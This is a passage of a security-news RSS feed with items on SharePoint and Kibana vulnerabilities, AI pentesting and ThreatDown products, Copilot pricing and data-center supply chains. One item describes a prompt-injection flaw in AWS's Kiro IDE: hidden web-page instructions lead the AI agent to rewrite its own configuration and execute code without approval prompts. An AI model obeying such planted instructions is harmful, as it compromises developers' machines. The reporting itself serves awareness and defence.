href="https://www.rapid7.com/research/report/threat-landscape-report-2026-q1" target="_self"><span>report</span></a><span> to explore all key findings and takeaways.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" alt="rapid7-quarterly-threat-report.png" caption="Figure 4: Rapid7's quarterly threat report." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" data-sys-asset-uid="blt9eaa551742740d0a" data-sys-asset-filename="rapid7-quarterly-threat-report.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Rapid7's quarterly threat report." data-sys-asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Rapid7's quarterly threat report.</figcaption></div></figure><h3><span>The latest threat research</span></h3><p><span>Rapid7 researchers explored emerging trends shaping the threat landscape, including the growing commercialization of </span><a href="https://www.rapid7.com/blog/post/tr-criminal-ai-underground-market-operationalizing-cybercrime-2026" target="_self"><span>criminal AI-as-a-Service</span></a><span> and the evolving tradecraft of advanced threat actors. From the underground adoption of AI tools for fraud and social engineering to an </span><a href="https://www.rapid7.com/blog/post/tr-malware-tracking-dropping-elephant-tradecraft-china-themed-loader-chain" target="_self"><span>in-depth analysis of the Dropping Elephant malware campaign</span></a><span>, these reports provide actionable intelligence on how attackers are adapting their techniques and what defenders can do to stay ahead.</span></p><h4><span>Emergent Threat Response</span></h4><p><span>This quarter's Emergent Threat Response (ETR) coverage highlights a sustained wave of high-impact vulnerabilities affecting widely deployed enterprise technologies, including </span><a href="https://www.rapid7.com/blog/post/etr-active-exploitation-of-oracle-peoplesoft-zero-day-cve-2026-35273" target="_self"><span>Oracle PeopleSoft</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-0265-authentication-bypass-in-palo-alto-networks-pan-os" target="_self"><span>Palo Alto Networks PAN-OS</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-critical-check-point-vpn-zero-day-exploited-in-the-wild-cve-2026-50751" target="_self"><span>Check Point VPN</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-10520-cve-2026-10523-multiple-critical-vulnerabilities-affecting-ivanti-sentry" target="_self"><span>Ivanti Sentry</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass" target="_self"><span>cPanel/WHM</span></a><span>, and </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-33032-nginx-ui-missing-mcp-authentication" target="_self"><span>Nginx UI</span></a><span>. For each of these CVEs, Rapid7 tracked active exploitation and rapidly evolving attacker activity to provide timely guidance to help defenders assess risk and respond quickly. See all the details, and our latest ETR coverage, </span><a href="https://www.rapid7.com/blog/tag/emergent-threat-response" target="_self"><span>here</span></a><span>.</span></p><p><span>From strengthening detection and response to advancing exposure management, expanding governance capabilities, and delivering actionable threat intelligence, Q2 demonstrated Rapid7’s continued focus on helping security teams do more with less complexity. Every enhancement this quarter was designed to reduce manual effort, surface the context that matters, and help organizations make faster, more confident security decisions. We’re carrying that momentum into the rest of the year, so stay tuned to our blog and releases as we continue building the security operations platform that helps defenders stay ahead of what’s next.</span></p>]]></content:encoded>
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<title><![CDATA[Free Copilot is turning into a demo as Microsoft shifts real features to paid tiers]]></title>
<description><![CDATA[Microsoft is shifting key Copilot features, including Deep Research, behind paid subscriptions. Here is why the free version of Copilot is starting to feel like a glorified demo.]]></description>
<link>https://tsecurity.de/de/3686617/windows-tipps/free-copilot-is-turning-into-a-demo-as-microsoft-shifts-real-features-to-paid-tiers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686617/windows-tipps/free-copilot-is-turning-into-a-demo-as-microsoft-shifts-real-features-to-paid-tiers/</guid>
<pubDate>Wed, 22 Jul 2026 16:13:42 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft is shifting key Copilot features, including Deep Research, behind paid subscriptions. Here is why the free version of Copilot is starting to feel like a glorified demo.]]></content:encoded>
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<title><![CDATA[ThreatDown expands security visibility to AI tools and machine identities]]></title>
<description><![CDATA[ThreatDown has announced a synchronized expansion of its AI and identity security capabilities to protect organizations from emerging, unmanaged risks. The company launched AI visibility, giving security and managed service provider (MSP) teams a full inventory of the AI tools…
Read more →
The po...]]></description>
<link>https://tsecurity.de/de/3686601/it-security-nachrichten/threatdown-expands-security-visibility-to-ai-tools-and-machine-identities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686601/it-security-nachrichten/threatdown-expands-security-visibility-to-ai-tools-and-machine-identities/</guid>
<pubDate>Wed, 22 Jul 2026 16:09:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>ThreatDown has announced a synchronized expansion of its AI and identity security capabilities to protect organizations from emerging, unmanaged risks. The company launched AI visibility, giving security and managed service provider (MSP) teams a full inventory of the AI tools…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/threatdown-expands-security-visibility-to-ai-tools-and-machine-identities/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/threatdown-expands-security-visibility-to-ai-tools-and-machine-identities/">ThreatDown expands security visibility to AI tools and machine identities</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[ThreatDown expands security visibility to AI tools and machine identities]]></title>
<description><![CDATA[ThreatDown has announced a synchronized expansion of its AI and identity security capabilities to protect organizations from emerging, unmanaged risks. The company launched AI visibility, giving security and managed service provider (MSP) teams a full inventory of the AI tools running across thei...]]></description>
<link>https://tsecurity.de/de/3686579/it-security-nachrichten/threatdown-expands-security-visibility-to-ai-tools-and-machine-identities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686579/it-security-nachrichten/threatdown-expands-security-visibility-to-ai-tools-and-machine-identities/</guid>
<pubDate>Wed, 22 Jul 2026 15:53:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>ThreatDown has announced a synchronized expansion of its AI and identity security capabilities to protect organizations from emerging, unmanaged risks. The company launched AI visibility, giving security and managed service provider (MSP) teams a full inventory of the AI tools running across their environments, while simultaneously extending its ITDR capabilities to secure non-human identities (NHI). By bringing governance to service accounts, API tokens, OAuth credentials, and machine identities, ThreatDown helps close critical exposure points that … <a href="https://www.helpnetsecurity.com/2026/07/22/threatdown-ai-visibility/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/22/threatdown-ai-visibility/">ThreatDown expands security visibility to AI tools and machine identities</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[CyCognito Brings Always-On AI Pentesting to External Attack Surface Management]]></title>
<description><![CDATA[CyCognito, a leading exposure management platform, today introduced Continuous AI Pentesting. The new capability bakes AI-driven offensive pentesting directly into the platform, leveraging the rich context it already maintains for every exposed asset. This enables CyCognito to deliver AI pentesti...]]></description>
<link>https://tsecurity.de/de/3686433/it-security-nachrichten/cycognito-brings-always-on-ai-pentesting-to-external-attack-surface-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686433/it-security-nachrichten/cycognito-brings-always-on-ai-pentesting-to-external-attack-surface-management/</guid>
<pubDate>Wed, 22 Jul 2026 15:14:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">CyCognito, a leading exposure management platform, today introduced Continuous AI Pentesting. The new capability bakes AI-driven offensive pentesting directly into the platform, leveraging the rich context it already maintains for every exposed asset. This enables CyCognito to deliver AI pentesting as a continuous service, circumventing the cost and coverage constraints that confine comparable solutions to periodic, narrowly scoped engagements.</p>



<p class="wp-block-paragraph">With this new solution, CyCognito addresses a major shift in the security ecosystem, driven by the latest advances in AI. Today’s models, with more advanced ones on the way, have lowered the bar for attackers. An attack campaign that once required a group of skilled threat actors can now be carried out by a low-skilled individual, in a fraction of the time and at relatively low cost. This signals a tectonic shift that compels defenders to adopt the same technology to keep pace and close the security gaps in their own environment.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/image.jpeg?quality=50&amp;strip=all" alt="" class="wp-image-4199553" width="800" height="502" sizes="auto, (max-width: 800px) 100vw, 800px"></figure></div>



<p class="wp-block-paragraph">Continuous AI Pentesting: Solution architecture, at a glance.</p>



<p class="wp-block-paragraph">“AI pentesting is rapidly becoming part of every security team’s toolkit, and a lot of it is already being done in-house,” said Rob Gurzeev, CEO and co-founder of CyCognito. “But running offensive AI isn’t the hard part. The challenge is scale. AI pentesting today is typically limited to the top 1% of priority assets. Meanwhile, the other 99% is where a lot of attacks actually start, where adversaries find the low-hanging fruit and use it as a foothold for lateral movement.”</p>



<p class="wp-block-paragraph">To provide AI pentesting coverage across that overlooked 99%, CyCognito built a distinct architecture that centers on the Target Graph, a contextual graph that bridges the AI pentesting solution and CyCognito’s three core modules:</p>



<ul class="wp-block-list">
<li><strong>Exposure Assessment</strong> maps the external footprint, attributes every asset to the right part of the organization, and enriches it with business and stack context.</li>



<li><strong>Exposure Validation</strong> runs more than 100,000 deterministic tests continuously, freeing the AI pentesters to focus on high-judgment work.</li>



<li><strong>Threat Intelligence</strong> draws on the history of existing and emerging vulnerabilities, along with attacker playbooks and statistical models trained on past engagements, to anticipate attacker activity.</li>
</ul>



<p class="wp-block-paragraph">Together, these layers increase the effectiveness of the pentesting agents, equipping them with the rich context and exploitability evidence, dramatically improving the efficiency of every run.</p>



<p class="wp-block-paragraph">The architecture is also built to be constantly self-evolving. Every new risk scenario AI pentesters uncover can be hardcoded into the Exposure Validation module, joining the deterministic tests it already runs. This frees the AI agents to pursue new threats, and also consolidates learnings from agentic tests in a way that will benefit every CyCognito customer.</p>



<p class="wp-block-paragraph">In the announcement for this new feature, the company also shared some of the vulnerabilities:</p>



<ul class="wp-block-list">
<li><strong>Unauthenticated access to a production CRM:</strong> an exposed MCP server allowed anonymous, natural-language queries against three million rows of account, opportunity, and financial data, with no credentials required.</li>



<li><strong>A publicly readable RAG index:</strong> an AI agent stack enforced authentication only on its API, leaving the knowledge base behind it, which held customer data, contracts, and internal communications, open to anyone on the internet.</li>



<li><strong>A building’s access controls exposed to the internet:</strong> a system running door locks, card readers, and CCTV sat unsegmented on the public internet alongside the organization’s AI document tools and chatbot, leaving physical entry reachable by a remote attacker.</li>
</ul>



<p class="wp-block-paragraph">These examples are just some of the risk scenarios identified through the work on this new capability, now running with select design partners, including major enterprises and Fortune 500 companies. Internally, CyCognito refers to the project as Project Kineto, after the Kinetograph, the first motion picture camera.</p>



<p class="wp-block-paragraph">“The name echoes our vision for what AI pentesting should be,” said Gurzeev. “Security testing has always been a snapshot. AI lets us turn it into continuous motion: an always-on stream of change-aware tests that runs across your entire attack surface at machine speed, with the skill of a seasoned security expert.”</p>



<p class="wp-block-paragraph">To go deeper on Continuous AI Pentesting, read the full announcement post: <a href="https://www.cycognito.com/blog/new-continuous-ai-pentesting/" target="_blank" rel="noreferrer noopener">https://www.cycognito.com/blog/new-continuous-ai-pentesting/</a></p>



<h3 class="wp-block-heading">About CyCognito</h3>



<p class="wp-block-paragraph">CyCognito is an external exposure management platform that reduces risk by discovering, testing and prioritizing security issues. </p>



<p class="wp-block-paragraph">The platform scans billions of websites, cloud applications and APIs and uses advanced AI to identify the most critical risks and guide remediation. Emerging companies, government agencies and Fortune 500 organizations rely on CyCognito to secure and protect from growing threats. For more information, visit <a href="https://www.cycognito.com/" target="_blank" rel="noreferrer noopener">https://www.cycognito.com</a>.</p>



<h5 class="wp-block-heading">Contact</h5>



<p class="wp-block-paragraph"><strong>VP Marketing</strong></p>



<p class="wp-block-paragraph"><strong>Igal Zeifman</strong></p>



<p class="wp-block-paragraph"><strong>CyCognito</strong></p>



<p class="wp-block-paragraph"><strong>igal.zeifman@cycognito.com</strong></p>
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<title><![CDATA[The Download: NASA’s new space telescope and OpenAI’s autonomous hacker]]></title>
<description><![CDATA[This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. Shape-shifting mirrors on NASA’s new space telescope could unveil Jupiters like our own When NASA’s Nancy Grace Roman Space Telescope launches, as early as the...]]></description>
<link>https://tsecurity.de/de/3686338/ai-nachrichten/the-download-nasas-new-space-telescope-and-openais-autonomous-hacker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686338/ai-nachrichten/the-download-nasas-new-space-telescope-and-openais-autonomous-hacker/</guid>
<pubDate>Wed, 22 Jul 2026 14:48:29 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. Shape-shifting mirrors on NASA’s new space telescope could unveil Jupiters like our own When NASA’s Nancy Grace Roman Space Telescope launches, as early as the end of next month, it will…]]></content:encoded>
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<title><![CDATA[Another SharePoint RCE exploited: Patch, then rotate your machine keys (CVE-2026-50522)]]></title>
<description><![CDATA[Attackers are exploiting a critical SharePoint remote code execution (RCE) vulnerability (CVE-2026-50522) to extract the servers’ IIS machine keys. “WatchTowr is observing active exploitation of CVE-2026-50522 against on-premise Microsoft SharePoint deployments following the release of public exp...]]></description>
<link>https://tsecurity.de/de/3686245/it-security-nachrichten/another-sharepoint-rce-exploited-patch-then-rotate-your-machine-keys-cve-2026-50522/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686245/it-security-nachrichten/another-sharepoint-rce-exploited-patch-then-rotate-your-machine-keys-cve-2026-50522/</guid>
<pubDate>Wed, 22 Jul 2026 14:19:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Attackers are exploiting a critical SharePoint remote code execution (RCE) vulnerability (CVE-2026-50522) to extract the servers’ IIS machine keys. “WatchTowr is observing active exploitation of CVE-2026-50522 against on-premise Microsoft SharePoint deployments following the release of public exploit code, with attackers…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/another-sharepoint-rce-exploited-patch-then-rotate-your-machine-keys-cve-2026-50522/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/another-sharepoint-rce-exploited-patch-then-rotate-your-machine-keys-cve-2026-50522/">Another SharePoint RCE exploited: Patch, then rotate your machine keys (CVE-2026-50522)</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[The $3 trillion assembly line: Why CIOs must industrialize the data center supply chain]]></title>
<description><![CDATA[You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage ...]]></description>
<link>https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</guid>
<pubDate>Wed, 22 Jul 2026 14:04:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage of online presence, and now omniscient AI, the demand for data centers has increased manyfold, and the trend seems similar to the year 2000, when telephone towers were built to accommodate increased digital presence.</p>



<p class="wp-block-paragraph">To win the AI race, Hyperscalers (Google, Meta, Amazon, Microsoft, Alibaba, Oracle, IBM, Tencent) are spending huge amounts of money on data center development. In the USA, the hyperscalers are planning to spend <a href="https://finance.yahoo.com/news/big-tech-set-to-spend-650-billion-in-2026-as-ai-investments-soar-163907630.html">$650 billion in 2026, which is around 70% higher than 2025 spending</a>, according to Yahoo Finance.</p>



<p class="wp-block-paragraph">As per McKinsey research, by 2030, companies will invest around $7 trillion in Capex on data center infrastructure globally. More than $4 trillion will go towards computing hardware investment. More than 40% of this spending will be invested in the United States.</p>



<h2 class="wp-block-heading">Demand growth in data centers</h2>



<p class="wp-block-paragraph">McKinsey analysis shows that global demand for data center capacity can more than triple by 2030, with a compound annual growth rate (CAGR) of around 22 per cent. In the USA, data center demand could grow by 20-25 per cent at the same time.  </p>



<p class="wp-block-paragraph">The data center industry is currently undergoing a violent transition. We are moving away from the era of “bespoke projects” — where every facility was a unique architectural feat — into an era of industrialized infrastructure. With global capital expenditure in the sector projected to hit $3 trillion by 2028, the “bottleneck” has shifted. It is no longer about securing the capital; it is about the physics of the supply chain.</p>



<p class="wp-block-paragraph">During my tenure at Vantage, managing the intersection of data center construction management (DCCM) and infrastructure management (DCIM), I saw firsthand that the most successful players aren’t those with the deepest pockets, but those with the most integrated data threads. If your construction data in Procore doesn’t talk to your financial reality in Yardi, or your operational capacity in DCIM, you aren’t building a data center — you’re managing a $500 million blind spot.</p>



<h2 class="wp-block-heading">The death of “sticks and bricks”</h2>



<p class="wp-block-paragraph">Traditionally, data center construction was treated as civil engineering. But for the modern CIO, a data center is a complex product assembly.</p>



<p class="wp-block-paragraph">The challenges are systemic. We are facing 50-to-80-week lead times for critical “long-pole” items: extra-high-voltage transformers, switchgear, and the liquid cooling manifolds required for the next generation of AI chips. In this environment, the traditional reactive supply chain model is a liability.</p>



<p class="wp-block-paragraph">To survive the $3 trillion inflow, we must adopt a hybrid-agile SCOR (supply chain operations reference) model. This means applying continuous flow logic to standardized components (like modular power skids) while maintaining agile responsiveness for the volatile IT layer.</p>



<h2 class="wp-block-heading">The digital bridge: Construction management software  to ERP</h2>



<p class="wp-block-paragraph">The most significant opportunity for CIOs lies in financial-operational integration. In many organizations, there is a data chasm between the construction site and the corporate office. Construction teams live in the construction management software tracking tasks, trades, RFIs and payment submittals. Finance teams operate corporate offices with project management tools (worth remembering that email is a key tool besides spreadsheets and phone calls) tracking capex schedule, commissioning timeline, capital drawdowns and asset lifecycle management.</p>



<p class="wp-block-paragraph">These systems are siloed; the CIO loses visibility into the total cost to serve. By integrating construction management into the financial system, we create real-time financial visibility of the build. We can see exactly how a three-week delay in a chiller delivery impacts the internal rate of return (IRR) of the entire asset. This isn’t just accounting; it’s strategic telemetry.</p>



<h2 class="wp-block-heading">From BIM to DCIM: The lifecycle thread</h2>



<p class="wp-block-paragraph">The second bridge is the handoff from construction (BIM) to operations (DCIM). Historically, this handoff was a nightmare of PDFs and Excel sheets. By the time the operations team took the keys, the “as-built” design information was already out of date.</p>



<p class="wp-block-paragraph">The opportunity today is to maintain a continuous data thread. The sensor data and asset tags established during the “make” phase in our SCOR model should flow directly into the DCIM. This allows us to perform virtual commissioning. Before a single server is racked, we should already have a digital replica of the airflow, power distribution, and cooling capacity.</p>



<h2 class="wp-block-heading">The scientific inference: AI in the supply chain</h2>



<p class="wp-block-paragraph">As someone who has led data and AI initiatives, I’ve seen the hype. But in the supply chain, the application of AI must be pragmatic, not generative. We don’t need AI to write poems; we need it for predictive procurement. Most organizations manage their procurement in ERP or a mix of a few tools to manage the source-to-settle business flow. Adopting a system workflow improves data collection and the state of the procurement cycle, which in turn provides AI with the context to draw inferences for possible delays and anomalies in original specifications and change orders.</p>



<p class="wp-block-paragraph">By applying machine learning to global logistics data, we can move from just-in-time to just-in-case modeling. AI can analyze geopolitical risks, shipping lane congestion, and raw material pricing to tell a CIO: <em>“Order your switchgear 14 months early, or your Q3 2027 ‘Power On’ date is at risk.”</em></p>



<h2 class="wp-block-heading">Bringing it all together: AI in the supply chain and finance</h2>



<p class="wp-block-paragraph">Why it matters: Approximately 70% of the capex is on this workflow and making timely decisions that directly impact the ready-for-service dates. The current challenge of reactionary adjustment in design to procurement to local fit-out is a significant drain on capex efficiency and cost of capital. Because single-project delivery delays have become so volatile, a massive structural shift is occurring in how digital infrastructure is funded. Single-project debt (special purpose vehicles or SPVs) is facing severe friction. To insulate themselves from RFS shocks, the largest institutional players are moving toward permanent platform capital — aggregating exposure across dozens of global assets simultaneously.</p>



<p class="wp-block-paragraph">Navigating these complex multi-billion-dollar engineering projects distributed over a large geography is simply unmanageable without rethinking and re-engineering existing tools and processes.</p>



<h2 class="wp-block-heading">The roadmap for the modern CIO</h2>



<p class="wp-block-paragraph">To lead this transformation, CIOs must move beyond the IT shop mentality and become master orchestrators of the supply chain. Here is the 1500-word reality condensed into three mandates:</p>



<ol start="1" class="wp-block-list">
<li><strong>Standardize the product:</strong> Stop designing bespoke facilities. Move toward DFMA (design for manufacturing and assembly). If 70% of your data center can be built in a factory and shipped as modules, you bypass the unpredictability of on-site labor.</li>



<li><strong>Integrate the financial stack:</strong> If your construction management software and your ERP aren’t sharing a heartbeat, your data is lying to you. Force the integration between Procore and Yardi.</li>



<li><strong>Own the long poles:</strong> Don’t leave the procurement of transformers and cooling units to general contractors. Use your balance sheet to secure these items years in advance. In 2026, inventory is the new currency.</li>
</ol>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Fourth SharePoint Vulnerability Exploited in Past Month’s Wave of Attacks]]></title>
<description><![CDATA[CVE-2026-50522 is being exploited by threat actors to steal machine keys and retain long-term access. The post Fourth SharePoint Vulnerability Exploited in Past Month’s Wave of Attacks appeared first on SecurityWeek. This article has been indexed from SecurityWeek Read the…
Read more →
The post F...]]></description>
<link>https://tsecurity.de/de/3686208/it-security-nachrichten/fourth-sharepoint-vulnerability-exploited-in-past-months-wave-of-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686208/it-security-nachrichten/fourth-sharepoint-vulnerability-exploited-in-past-months-wave-of-attacks/</guid>
<pubDate>Wed, 22 Jul 2026 13:59:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>CVE-2026-50522 is being exploited by threat actors to steal machine keys and retain long-term access. The post Fourth SharePoint Vulnerability Exploited in Past Month’s Wave of Attacks appeared first on SecurityWeek. This article has been indexed from SecurityWeek Read the…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/fourth-sharepoint-vulnerability-exploited-in-past-months-wave-of-attacks/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/fourth-sharepoint-vulnerability-exploited-in-past-months-wave-of-attacks/">Fourth SharePoint Vulnerability Exploited in Past Month’s Wave of Attacks</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Another SharePoint RCE exploited: Patch, then rotate your machine keys (CVE-2026-50522)]]></title>
<description><![CDATA[Attackers are exploiting a critical SharePoint remote code execution (RCE) vulnerability (CVE-2026-50522) to extract the servers’ IIS machine keys. “WatchTowr is observing active exploitation of CVE-2026-50522 against on-premise Microsoft SharePoint deployments following the release of public exp...]]></description>
<link>https://tsecurity.de/de/3686198/it-security-nachrichten/another-sharepoint-rce-exploited-patch-then-rotate-your-machine-keys-cve-2026-50522/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686198/it-security-nachrichten/another-sharepoint-rce-exploited-patch-then-rotate-your-machine-keys-cve-2026-50522/</guid>
<pubDate>Wed, 22 Jul 2026 13:59:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Attackers are exploiting a critical SharePoint remote code execution (RCE) vulnerability (CVE-2026-50522) to extract the servers’ IIS machine keys. “WatchTowr is observing active exploitation of CVE-2026-50522 against on-premise Microsoft SharePoint deployments following the release of public exploit code, with attackers stealing machine keys to retain long-term access,” the offensive security company warned on Tuesday. WatchTowr’s global honeypot network registered successful exploitation attempts on July 20, mere hours after the release of the proof-of-concept exploit and … <a href="https://www.helpnetsecurity.com/2026/07/22/sharepoint-cve-2026-50522-exploited/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/22/sharepoint-cve-2026-50522-exploited/">Another SharePoint RCE exploited: Patch, then rotate your machine keys (CVE-2026-50522)</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[CVE-2026-63261 | Elastic Kibana up to 8.19.18/9.3.7/9.4.3 Machine Learning resource consumption (EUVD-2026-47589)]]></title>
<description><![CDATA[A vulnerability was found in Elastic Kibana up to 8.19.18/9.3.7/9.4.3. It has been declared as problematic. This affects an unknown function of the component Machine Learning. The manipulation results in resource consumption.

This vulnerability was named CVE-2026-63261. The attack may be perform...]]></description>
<link>https://tsecurity.de/de/3686154/sicherheitsluecken/cve-2026-63261-elastic-kibana-up-to-81918937943-machine-learning-resource-consumption-euvd-2026-47589/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686154/sicherheitsluecken/cve-2026-63261-elastic-kibana-up-to-81918937943-machine-learning-resource-consumption-euvd-2026-47589/</guid>
<pubDate>Wed, 22 Jul 2026 13:41:21 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/elastic:kibana">Elastic Kibana up to 8.19.18/9.3.7/9.4.3</a>. It has been declared as <a href="https://vuldb.com/kb/risk">problematic</a>. This affects an unknown function of the component <em>Machine Learning</em>. The manipulation results in resource consumption.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2026-63261">CVE-2026-63261</a>. The attack may be performed from remote. There is no available exploit.]]></content:encoded>
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<title><![CDATA[AWS Kiro IDE Flaw Lets Hidden Web Prompts Execute Code on Developer Machines]]></title>
<description><![CDATA[A critical vulnerability in AWS’s agentic IDE Kiro lets attackers hide malicious instructions inside ordinary web pages, tricking the AI agent into rewriting its own configuration file and executing arbitrary code on a developer’s machine without any suspicious approval prompt ever appearing. Kir...]]></description>
<link>https://tsecurity.de/de/3686149/it-security-nachrichten/aws-kiro-ide-flaw-lets-hidden-web-prompts-execute-code-on-developer-machines/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686149/it-security-nachrichten/aws-kiro-ide-flaw-lets-hidden-web-prompts-execute-code-on-developer-machines/</guid>
<pubDate>Wed, 22 Jul 2026 13:39:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A critical vulnerability in AWS’s agentic IDE Kiro lets attackers hide malicious instructions inside ordinary web pages, tricking the AI agent into rewriting its own configuration file and executing arbitrary code on a developer’s machine without any suspicious approval prompt ever appearing. Kiro ships with tools that let the AI act autonomously, including web fetching, […]</p>
<p>The post <a href="https://cyberpress.org/aws-kiro-ide-flaw/">AWS Kiro IDE Flaw Lets Hidden Web Prompts Execute Code on Developer Machines</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Fourth SharePoint Vulnerability Exploited in Past Month’s Wave of Attacks]]></title>
<description><![CDATA[CVE-2026-50522 is being exploited by threat actors to steal machine keys and retain long-term access.
The post Fourth SharePoint Vulnerability Exploited in Past Month’s Wave of Attacks appeared first on SecurityWeek.]]></description>
<link>https://tsecurity.de/de/3686146/it-security-nachrichten/fourth-sharepoint-vulnerability-exploited-in-past-months-wave-of-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686146/it-security-nachrichten/fourth-sharepoint-vulnerability-exploited-in-past-months-wave-of-attacks/</guid>
<pubDate>Wed, 22 Jul 2026 13:39:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>CVE-2026-50522 is being exploited by threat actors to steal machine keys and retain long-term access.</p>
<p>The post <a href="https://www.securityweek.com/fourth-sharepoint-vulnerability-exploited-in-past-months-wave-of-attacks/">Fourth SharePoint Vulnerability Exploited in Past Month’s Wave of Attacks</a> appeared first on <a href="https://www.securityweek.com/">SecurityWeek</a>.</p>]]></content:encoded>
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<title><![CDATA[How a contextual AI fabric turns organizational memory into AI advantage]]></title>
<description><![CDATA[Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing ...]]></description>
<link>https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</guid>
<pubDate>Wed, 22 Jul 2026 13:05:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
